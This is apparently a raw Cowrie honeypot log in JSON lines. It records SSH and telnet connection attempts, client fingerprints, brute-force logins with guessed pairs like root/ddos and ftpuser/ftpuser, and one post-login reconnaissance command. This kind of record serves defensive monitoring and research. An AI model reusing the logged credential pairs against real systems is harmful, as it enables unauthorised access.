{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:ce:2c:70:f8:f0:f0:2f:db:3b:35:c3:7a:b2:bf:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuH/hv5V4/IPL896HT5LWF/zKpa/6JbK0i+3ZXw1cVtc8qzgm58+O1pRyCseIDDXJ2lsSzDruk7gF/JD4t6JhcpRTcxWaqiexstPmvN4u6Ln7dDn7Dv1LwhxnUg2NElQKOfkRIpcXwgOKq1gLLuInP7gWJvrBPKMfiHOmtuqgfzziAvQR90heGaAptQS/aEa+Pdz7SrNTgj8GVDACHt0ltHF1AdKpAPKvcjyl4771ng/KwVboFWETuaYrSuOw2Q7rwv4r4WmaXtZHNwakPuL7rZGkNTrnTQPL1aSP6tZ/0D4GF3fuTTD+EyoRFEH7aHiFpGWBmEC+ybrIBAIydcal3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.201021Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.359683Z","src_ip":"43.163.119.215","session":"7cda91ca109c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:30:a3:c9:4d:94:39:69:b2:ba:e8:21:10:9c:fa:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3gSJUKAIzMXQQnPqdH4hVrU8FcBRPuo/hq6VOdaMJ2RiEHjrAEU5V4IDLrY5Mr7CVM3KbPuZqvZVI+2Sxb10ckI3yPINL+pGZJ1m0hpxar98WRKhBPQikl2O9AA+jMA1Kx5SlIl8qrG05QgBn2LLcUkqccAOnLTG10Ux5dvC1SOwSxsgH9GpCxp+vPlqOL9AgVx9/0P8yhoHhvMZ3/fD+eahE1VOh9/xByFYMJSaUnMtEvRGtAXmRwYV7YilFSN5bAhZ/3n/o7HhYxAR8AgnuyOZfG1rTQ+YYGv//bWedtfZZfphNtHSp6TvuM5hcez/L4rky1zW/ANPvkbTjUejMuqK1Y7AhEgeDWL0TEgXIwXjvQRXXbasKrLSM2i3838tNkhKE/JvenhhQphiUlhmPl9Kw8gPtEvq+boXFnLKYJcmT0WBkHxVWzHSEC1+KnPnIw0Wm1ByScjQS5lI+gudqHTPPhnJ5PwV3DNp65O6af11YBnDyFsUV3almsWx17lE4mCTICptNRz+xbAoaIRMp/BMp0/gLFPt2Gfd+WwGcHvJpUpTtS03zzLoyn9knu0KCc1yvbH2BDblA123ZAwFugFVSs4aiDI8EnwXTAPO0az3+Ai1BnxL6m5tNQDrlQJU7X9YedzmJTLzGsld8hErHNxLb6LcJ/gVzz7H1Wo1jUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:30:a3:c9:4d:94:39:69:b2:ba:e8:21:10:9c:fa:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.418181Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:30:a3:c9:4d:94:39:69:b2:ba:e8:21:10:9c:fa:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3gSJUKAIzMXQQnPqdH4hVrU8FcBRPuo/hq6VOdaMJ2RiEHjrAEU5V4IDLrY5Mr7CVM3KbPuZqvZVI+2Sxb10ckI3yPINL+pGZJ1m0hpxar98WRKhBPQikl2O9AA+jMA1Kx5SlIl8qrG05QgBn2LLcUkqccAOnLTG10Ux5dvC1SOwSxsgH9GpCxp+vPlqOL9AgVx9/0P8yhoHhvMZ3/fD+eahE1VOh9/xByFYMJSaUnMtEvRGtAXmRwYV7YilFSN5bAhZ/3n/o7HhYxAR8AgnuyOZfG1rTQ+YYGv//bWedtfZZfphNtHSp6TvuM5hcez/L4rky1zW/ANPvkbTjUejMuqK1Y7AhEgeDWL0TEgXIwXjvQRXXbasKrLSM2i3838tNkhKE/JvenhhQphiUlhmPl9Kw8gPtEvq+boXFnLKYJcmT0WBkHxVWzHSEC1+KnPnIw0Wm1ByScjQS5lI+gudqHTPPhnJ5PwV3DNp65O6af11YBnDyFsUV3almsWx17lE4mCTICptNRz+xbAoaIRMp/BMp0/gLFPt2Gfd+WwGcHvJpUpTtS03zzLoyn9knu0KCc1yvbH2BDblA123ZAwFugFVSs4aiDI8EnwXTAPO0az3+Ai1BnxL6m5tNQDrlQJU7X9YedzmJTLzGsld8hErHNxLb6LcJ/gVzz7H1Wo1jUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.422202Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:74:60:84:a7:7d:06:61:e7:8a:b2:94:9a:dc:e7:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfI44FfjmaKoKMFN0EQRE4A4ztBttODTgEG4iX3+fsEF8jZjgZERyLQzJs+NRd0zJoDYAoM3DTWDCUcMlOlQDHMe2oeLjFfd4VYCfSK0hdbJj0OBQ0YhdVmi+ngRe+cn+F8qEmhfMsSsqWmvKcdgl3Jk+MDJQ+//HN/R68eskFs1xgc9FP+IhW5qJ903RYQr+ttW3g0DaPt3Uqp47H4Sw1LnQ6NvMmhoVGv9D3SXbDVwCoiIDqrij5E2PA3Qars02wV6wnh5pgvCIDjHnq7QbG7exBpkymTEA7Qr6ZcTbY3bp43JA0mfcbyBHoiaK67iqZGQzrTaKBsQCTqY5VBu6WKT+fzUs5/recSw+Je2s5m4YKBfowv8YRkETWQp4nrTBPlAUBCK81pw44eAFZLjc4+SIvvl8zpBYUfXnH+cLJU8AICG15wYdq+2LAfXHg5cg4xSQXYdNMAAuwhFQKxv0mDPYe9v6ykHhC6iRiMjE55PbgJXPzdCcCGTNH71ocfZOUVg6pqQvVmdfBddyq1XjGcryM6tPgEQtD1oKMvK9Vdn7aeCw8NhZrKz9WJUECZov584l2QdVPRnFiP5nJrD7sUpAHagrYyxIOo5wQeLuhGBaG9mJte2B39Ar6CezzfzcxEtSGnmCJBXnvtcLp75l4FQTYhwYK7r7yticjkaqSAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:74:60:84:a7:7d:06:61:e7:8a:b2:94:9a:dc:e7:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.640916Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:74:60:84:a7:7d:06:61:e7:8a:b2:94:9a:dc:e7:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfI44FfjmaKoKMFN0EQRE4A4ztBttODTgEG4iX3+fsEF8jZjgZERyLQzJs+NRd0zJoDYAoM3DTWDCUcMlOlQDHMe2oeLjFfd4VYCfSK0hdbJj0OBQ0YhdVmi+ngRe+cn+F8qEmhfMsSsqWmvKcdgl3Jk+MDJQ+//HN/R68eskFs1xgc9FP+IhW5qJ903RYQr+ttW3g0DaPt3Uqp47H4Sw1LnQ6NvMmhoVGv9D3SXbDVwCoiIDqrij5E2PA3Qars02wV6wnh5pgvCIDjHnq7QbG7exBpkymTEA7Qr6ZcTbY3bp43JA0mfcbyBHoiaK67iqZGQzrTaKBsQCTqY5VBu6WKT+fzUs5/recSw+Je2s5m4YKBfowv8YRkETWQp4nrTBPlAUBCK81pw44eAFZLjc4+SIvvl8zpBYUfXnH+cLJU8AICG15wYdq+2LAfXHg5cg4xSQXYdNMAAuwhFQKxv0mDPYe9v6ykHhC6iRiMjE55PbgJXPzdCcCGTNH71ocfZOUVg6pqQvVmdfBddyq1XjGcryM6tPgEQtD1oKMvK9Vdn7aeCw8NhZrKz9WJUECZov584l2QdVPRnFiP5nJrD7sUpAHagrYyxIOo5wQeLuhGBaG9mJte2B39Ar6CezzfzcxEtSGnmCJBXnvtcLp75l4FQTYhwYK7r7yticjkaqSAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.644640Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:87:c2:36:4b:13:8f:6c:65:27:15:1f:21:66:f7:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdgzBZenYKpUiekWH2J97E5osN/BrbxDZUQv6vsGsWr+UTqWMXbDZafd5lGln01bAKxMJYMxPFGnr0s2JW9q5L4jeOvlcUEZV8HPQFY1Vu3Iu9HnSy9XAP61y9TgZjXHfN/Uofu95CG7ymNHx6kvirCcmD6qRUvjZgYFpG8sJVYAm7Rr7XeBluMlIUJWp17eFDBmmT2nRJGWcSRQWWErM1Alos/Km45EJiilPl3ijaOoFHzDsot1PSVRx6YBK5ir3z4K0wOiP4isqJG2VZpBkH5Y/kH6/2705xmX9OMJECpOGJ3qVjq+JO5Kydr9enZInhAS+yCJv9D0gwVwExSXOpnH2FkJcHrTrVZX7yh/VtA5oez9fneCLc+7UebRmvuO34B2lMiHj8Lo751N63LNVbjXEmXs9oH0QTx67k0A4+4DQWGP19vAF/mQnO8uC2H4Dbj7dsiQIabAEYyaFjgX3f2gOWK7rMZjc8zVQ3MmFBLCmGuAhko68N75XEyShx3xZDbOzdtJTKi4C+pW0Jtk2pDh3yzrlXPQAaGgzhkytK3HYgKT0AvQgQsxhcTM+aWC03Z5RRDvv3ZNTjn8XteaLMZdrDYy/c/Uen6AdbMstZoqJFw2RBf5wGM+Ttgwb3kiUy62pLlyeJpgTOYWcyqL6g6OtCaieTblW5zYv41tzilQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:87:c2:36:4b:13:8f:6c:65:27:15:1f:21:66:f7:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.863683Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:87:c2:36:4b:13:8f:6c:65:27:15:1f:21:66:f7:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdgzBZenYKpUiekWH2J97E5osN/BrbxDZUQv6vsGsWr+UTqWMXbDZafd5lGln01bAKxMJYMxPFGnr0s2JW9q5L4jeOvlcUEZV8HPQFY1Vu3Iu9HnSy9XAP61y9TgZjXHfN/Uofu95CG7ymNHx6kvirCcmD6qRUvjZgYFpG8sJVYAm7Rr7XeBluMlIUJWp17eFDBmmT2nRJGWcSRQWWErM1Alos/Km45EJiilPl3ijaOoFHzDsot1PSVRx6YBK5ir3z4K0wOiP4isqJG2VZpBkH5Y/kH6/2705xmX9OMJECpOGJ3qVjq+JO5Kydr9enZInhAS+yCJv9D0gwVwExSXOpnH2FkJcHrTrVZX7yh/VtA5oez9fneCLc+7UebRmvuO34B2lMiHj8Lo751N63LNVbjXEmXs9oH0QTx67k0A4+4DQWGP19vAF/mQnO8uC2H4Dbj7dsiQIabAEYyaFjgX3f2gOWK7rMZjc8zVQ3MmFBLCmGuAhko68N75XEyShx3xZDbOzdtJTKi4C+pW0Jtk2pDh3yzrlXPQAaGgzhkytK3HYgKT0AvQgQsxhcTM+aWC03Z5RRDvv3ZNTjn8XteaLMZdrDYy/c/Uen6AdbMstZoqJFw2RBf5wGM+Ttgwb3kiUy62pLlyeJpgTOYWcyqL6g6OtCaieTblW5zYv41tzilQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.867551Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:be:4f:fd:2b:80:a8:5f:13:ac:5e:51:aa:62:8c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYovvtJqcCu0KGlAfQ08sCU1d6pvy4XIIjO1NV4SEcJdjmTXPd4U9J/is0FRKRx8Zuy56vd8CS584kdy4dgRiEtROinfAtqAWAGR3NHJ3JO6bVif8IP29vQnV1cUEqwN5XjVoNcyVsyDfGCIWVixANJwlo5U+AC5lWmmDJpbWKnuzvJYAxOU/4u6UzGajOkwC2wToWbSRYEQzdoVbQ4Ra9CaIRxiPOrkYpAxWfhS9ZQ5ol4Wg7gUef5w0kuR6ybD0dy+WcickpxoeKJLTOf/kUVFbbtVyLzNu28j6vhsDqd+mFbDVEOVOfjaQw5kDrGdZ23fARHxAXuezXu3gvopvzmlf97DfMAjdrlZ8MVO0prddyPf+Uyi6PPi0/i7agte0wdkn5dDO2wXQjGuchPaWyspW2qGDCF2Zr4vVhFXjjGOC2p8Lzimmdo7Kb7z7YLumNOZMblQNOWXogiJ5b4M8auYlJ4jB42+4idUW/kWASCTBmmGFiZ82qSEg2c5ko0LlLuvKoQO6ij884ZAF36cgKwyJnZmqmMtSsZJggNwaut0LfIQwZ90csMXZJUatxntki6w4B8XT0QI8P7MYQO62uCtq1yMOR/ZN4odLAaX0lClGGqWnQaLQpxDmN140tsXybG5hD3qAdXxtQ1OS1dUt9ok/JZFaaS/eKYbdF9/Z5Bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:be:4f:fd:2b:80:a8:5f:13:ac:5e:51:aa:62:8c:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:32.088682Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:be:4f:fd:2b:80:a8:5f:13:ac:5e:51:aa:62:8c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYovvtJqcCu0KGlAfQ08sCU1d6pvy4XIIjO1NV4SEcJdjmTXPd4U9J/is0FRKRx8Zuy56vd8CS584kdy4dgRiEtROinfAtqAWAGR3NHJ3JO6bVif8IP29vQnV1cUEqwN5XjVoNcyVsyDfGCIWVixANJwlo5U+AC5lWmmDJpbWKnuzvJYAxOU/4u6UzGajOkwC2wToWbSRYEQzdoVbQ4Ra9CaIRxiPOrkYpAxWfhS9ZQ5ol4Wg7gUef5w0kuR6ybD0dy+WcickpxoeKJLTOf/kUVFbbtVyLzNu28j6vhsDqd+mFbDVEOVOfjaQw5kDrGdZ23fARHxAXuezXu3gvopvzmlf97DfMAjdrlZ8MVO0prddyPf+Uyi6PPi0/i7agte0wdkn5dDO2wXQjGuchPaWyspW2qGDCF2Zr4vVhFXjjGOC2p8Lzimmdo7Kb7z7YLumNOZMblQNOWXogiJ5b4M8auYlJ4jB42+4idUW/kWASCTBmmGFiZ82qSEg2c5ko0LlLuvKoQO6ij884ZAF36cgKwyJnZmqmMtSsZJggNwaut0LfIQwZ90csMXZJUatxntki6w4B8XT0QI8P7MYQO62uCtq1yMOR/ZN4odLAaX0lClGGqWnQaLQpxDmN140tsXybG5hD3qAdXxtQ1OS1dUt9ok/JZFaaS/eKYbdF9/Z5Bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:32.092474Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:32.310765Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:32.599300Z","src_ip":"43.163.119.215","session":"7cda91ca109c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33398,"dst_ip":"159.203.135.109","dst_port":22,"session":"52d19f1d416a","protocol":"ssh","message":"New connection: 103.75.199.4:33398 (159.203.135.109:22) [session: 52d19f1d416a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:37.442371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:37.447284Z","src_ip":"103.75.199.4","session":"52d19f1d416a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:37.538221Z","src_ip":"103.75.199.4","session":"52d19f1d416a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:37.810258Z","src_ip":"103.75.199.4","session":"52d19f1d416a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.037285Z","src_ip":"103.75.199.4","session":"52d19f1d416a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.040767Z","src_ip":"103.75.199.4","session":"52d19f1d416a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.135186Z","src_ip":"103.75.199.4","session":"52d19f1d416a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.140349Z","src_ip":"103.75.199.4","session":"52d19f1d416a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":54496,"dst_ip":"10.17.0.5","dst_port":22,"session":"b89054677cf2","protocol":"ssh","message":"New connection: 205.209.121.72:54496 (10.17.0.5:22) [session: b89054677cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.270190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.275308Z","src_ip":"205.209.121.72","session":"b89054677cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.281126Z","src_ip":"205.209.121.72","session":"b89054677cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ddos","message":"login attempt [root/ddos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:38.335680Z","src_ip":"205.209.121.72","session":"b89054677cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:39.344464Z","src_ip":"205.209.121.72","session":"b89054677cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.619396448135376,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:40.013527Z","src_ip":"142.93.69.27","session":"731220ca3d1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":44238,"dst_ip":"10.17.0.5","dst_port":22,"session":"387ab19bf58b","protocol":"ssh","message":"New connection: 43.163.119.215:44238 (10.17.0.5:22) [session: 387ab19bf58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:40.972801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:40.977367Z","src_ip":"43.163.119.215","session":"387ab19bf58b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:41.215214Z","src_ip":"43.163.119.215","session":"387ab19bf58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00145149230957,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:41.383809Z","src_ip":"186.189.112.16","session":"7f613b16dba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":60051,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ae632d6096","protocol":"ssh","message":"New connection: 162.243.147.237:60051 (159.203.135.109:22) [session: 57ae632d6096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:41.898498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:41.902210Z","src_ip":"162.243.147.237","session":"57ae632d6096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:41.927475Z","src_ip":"43.163.119.215","session":"387ab19bf58b","protocol":"ssh"}
